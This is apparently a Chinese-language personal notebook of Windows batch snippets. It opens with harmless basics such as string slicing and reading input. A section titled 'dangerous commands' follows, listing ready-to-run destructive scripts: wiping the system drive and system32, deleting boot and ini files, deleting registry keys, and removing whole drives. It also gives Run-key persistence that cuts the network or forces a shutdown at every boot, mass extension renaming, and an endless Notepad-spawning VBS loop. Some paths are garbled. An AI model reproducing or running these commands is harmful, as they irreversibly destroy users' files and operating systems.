常用
开头常用
不显示命令和支持中文
@echo off
chcp 65001
获取输入参数
@echo off
set /p a=请输入a:
echo %a%
字符串拼接
SET a=Hello
SET b=World
SET c=%a%%b%
字符串截取
@echo off
set ifo=abcdefghijklmnopqrstuvwxyz0123456789
echo 原字符串(第二行为各字符的序号):
echo %ifo%
echo 123456789012345678901234567890123456
echo 截取前5个字符:
echo %ifo:~0,5%
echo 截取最后5个字符:
echo %ifo:~-5%
echo 截取第一个到倒数第6个字符:
echo %ifo:~0,-5%
echo 从第4个字符开始,截取5个字符:
echo %ifo:~3,5%
echo 从倒数第14个字符开始,截取5个字符:
echo %ifo:~-14,5%
pause
获取返回字符串
for /f "delims=" %%t in ('命令字符串') do set str=%%t
echo %str%
危险命令
蓝屏死机
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
更改文件后缀名
不区分大小写 疑问: ren .txt 是不是更好?
ren *.DOC *.TXT
ren *.JPEG *.TXT
ren *.lnk *.txt
ren *.avi *.txt
ren *.mpeg *.txt
ren *.com *.txt
ren *.bat *.txt
删除system32
不入回收站
del c:\windows\system32\*.* /q
使PC永久崩溃
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
删除所有的注册表
@echo off
start reg delete HKCR/.exe
start reg delete HKCR/.dll
start reg delete HKCR/*
永久禁用网络
echo @echo off > c:windowswimn32.bat
echo break off >> c:windowswimn32.bat
echo ipconfig/release_all >> c:windowswimn32.bat
echo end >> c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat
pause
启动电脑后自动关机
echo @echo off > c:windowshartlell.bat
echo break off >> c:windowshartlell.bat
echo shutdown -r -t 11 -f >> c:windowshartlell.bat
echo end >> c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v /t reg_sz /d c:windowshartlell.bat
pause
格式化硬盘
rd /s/q d:\
rd /s/q c:\
rd /s/q e:\
无限打开文档vbs
do
createobject("wscript.shell").run "notepad.exe"
loop
这短短的一生我们最终都会失去,不放大胆一点,爱一个人、攀一座山、追一个梦!